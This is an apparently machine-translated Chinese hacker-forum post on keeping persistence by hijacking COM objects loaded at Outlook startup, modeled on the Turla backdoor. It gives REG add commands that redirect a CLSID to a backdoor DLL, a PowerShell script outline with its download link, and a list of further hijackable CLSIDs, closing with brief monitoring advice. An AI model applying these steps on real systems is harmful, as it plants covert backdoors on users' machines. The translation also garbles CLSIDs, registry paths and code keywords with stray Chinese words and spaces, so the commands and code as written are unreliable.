跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用COM对象劫持来维护持久性——劫持Outlook


XenoG

推荐的帖子

0x00 前言

APT通过COM劫持组织Trula在Outlook启动时使用后门方法加载dll,其特点是只需要当前用户的权限。

本文将参考已发表的资料对这种方法进行测试,编写一个自动利用脚本,扩展使用,分享多个可用的劫持地点,并基于利用思路给出防御建议。

参考资料:

https://www . welivesecurity . com/WP-content/uploads/2018/08/Eset-Turla-Outlook-back door . pdf

0x01 简介

本文将介绍以下内容:

使用方法

Powershell脚本实现详细信息

扩展使用

辩护建议

0x02 利用方法

当Outlook启动时,它将加载多个COM对象。我们可以通过修改注册表加载DLL来劫持Outlook的启动进程。

这里的utilization方法需要添加两个注册表,修改两个COM对象。

因为是修改HKCU的注册表,所以可以使用当前用户权限。

(1)COM对象1,用来加载第二个COM对象

添加以下注册表:

HKCU \软件\类\ CLSID \ { 84 da 0a 92-25 E0-11 D3-b9f 7-00 c 04 f 4c 8 f 5d } \ TreatAs={ 49 cbb 1c 7-97 D1-485 a-9e C1-a 26065633066 }

通过命令行实现的命令如下:

REG add HKCU \软件\类\ CLSID \ { 84 da 0a 92-25e 0-11 D3-b9f 7-00 c 04 f 4c 8 f 5d } \ treat as/t REG _ SZ/d“{ 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 }”/f

(2)COM对象2,用来加载DLL

添加以下注册表:

HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 }=邮件插件

HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32=[后门DLL的路径]

HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32 \ threading model=Apartment

通过命令行实现的命令如下:

REG add HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 }/t REG _ SZ/d '邮件插件'/f

REG add HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32/t REG _ SZ/d ' c:\ \ test \ \ calc . dll '/f

REG add HKCU \软件\类\ CLSID \ { 49 cbb1c 7-97 D1-485 a-9e C1-a 26065633066 } \ in proc server 32/v threading model/t REG _ SZ/d '公寓'/f

Calc.dll可以在https://github.com/3gstudent/test/blob/master/calc.dll.使用以前的测试DLL

添加注册表后,启动Outlook,加载几次DLL,弹出多个计算器。这里,您可以使用互斥体来确保只弹出一个计算器。DLL的下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

对于64位Windows系统,如果安装了32位Office,需要将两个COM对象的注册表位置修改为HKCU \软件\类\ WOW6432Node \ CLSID \

0x03 Powershell脚本实现细节

实现过程如下:

判断操作系统数字

判断办公软件的版本

如果64位系统安装32位Office,注册表的位置是HKCU \软件\类\ WOW6432Node \ CLSID \否则,注册表的位置是HKCU \软件\类\CLSID\

添加相应的注册表

具体代码如下:

1. 判断操作系统位数

if ([IntPtr]:Size -eq 8)

{

' 64位'

}

其他

{

' 32位'

}

2. 判断安装office软件版本

检查默认安装路径c:\ program files \ Microsoft office是否包含文件夹MEDIA。

如果是,就是64位Office,否则就是32位Office。

Powershell代码如下:

尝试

{

目录C:\ Program Files \ Microsoft Office \ MEDIA

写入主机“Microsoft Office: 64位”

}

捕捉

{

写入主机“Microsoft Office: 32位”

}

代码是开源的,地址如下:

https://github . com/3g student/home-of-Powershell/blob/master/Invoke-outlook persistence . PS1

该代码实现了操作系统位数和Office软件版本的自动判断,并添加了相应的注册表项。

0x04 扩展用法

使用进程监视器监视Outlook启动进程,并确定是否有其他可用的COM对象。

经过测试,我在Outlook2013中找到了几个可用的方法。

COM对象1被下列任何一个替换,而COM对象2保持不变

可用的COM对象1:

{ b 056521 a-9b 10-425 e-B616-1 fcd 828 db 3 b 1 }

{ efef 7 FD b-0 ced-4fb 6-B3BB-3c 50d 39 f 4120 }

{ 93e 5752 e-B889-47 C5-8545-654 ee 2533 c64 }

{ 56 fdf 344-FD6D-11d 0-958 a-006097 c9a 090 }

{ 2163 eb1f-3fd 9-4212-A41F-81 d1f 933597 f }

{ a6a 2383 f-AD50-4d 52-8110-3508275 e77f 7 }

{ f 959 dbbb-3867-41 F2-8E5F-3b 8 be FAA 81 b 3 }

{ 88d 96 a 05-f192-11d 4-a65f-0040963251 E5 }

{ 807583 e 5-5146-11d 5-a 672-00 b 0d 022 e 945 }

529 a 9和6b- 6587-4f 23-ab9e-9c 7d 683和3C50}

{ 3ce 74 de 4-53 D3-4d 74-8b 83-431 b 3828 ba 53 }

{ a4 b 544 a1-438d-4b 41-9325-869523和2D6C7}

{ 33c 53 a 50-f 456-4884-b 049-85 FD 643欧洲经委会}

{ c 90250 F3-4d 7d-4991-9b 69-a5 C5 BC 1 C2 AE 6 }

{ 275 c 23 e 2-3747-11d 0-9 FEA-00 aa 003 f 864 }

B2至619F}

{埃德47410-B0 D6-11d 2-8c 3 B-00104 B2 a 6666 }

{ 1299 cf 18-C4 F5-4b6a-bb0f-2299 f 0398 e 27 }导弹

dcb 00 c01-570 f-4至9B-8D69-199FDBA5723B}

{ c 90250 F3-4d 7d-4991-9b 69-a5 C5 BC 1 C2 AE 6 }

0x05 防御建议

监控以下注册表项下的创建和修改操作:

HKCU \软件\类\CLSID\

hkcu \ software \ classes \ wow 6432节点\ clsid \

0x06 小结

本文介绍了通过用什么劫持实现在展望(展望)启动时加载动态链接库的方法,分享多个可用的劫持位置,结合利用思路给出防御建议

留下一个答案

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...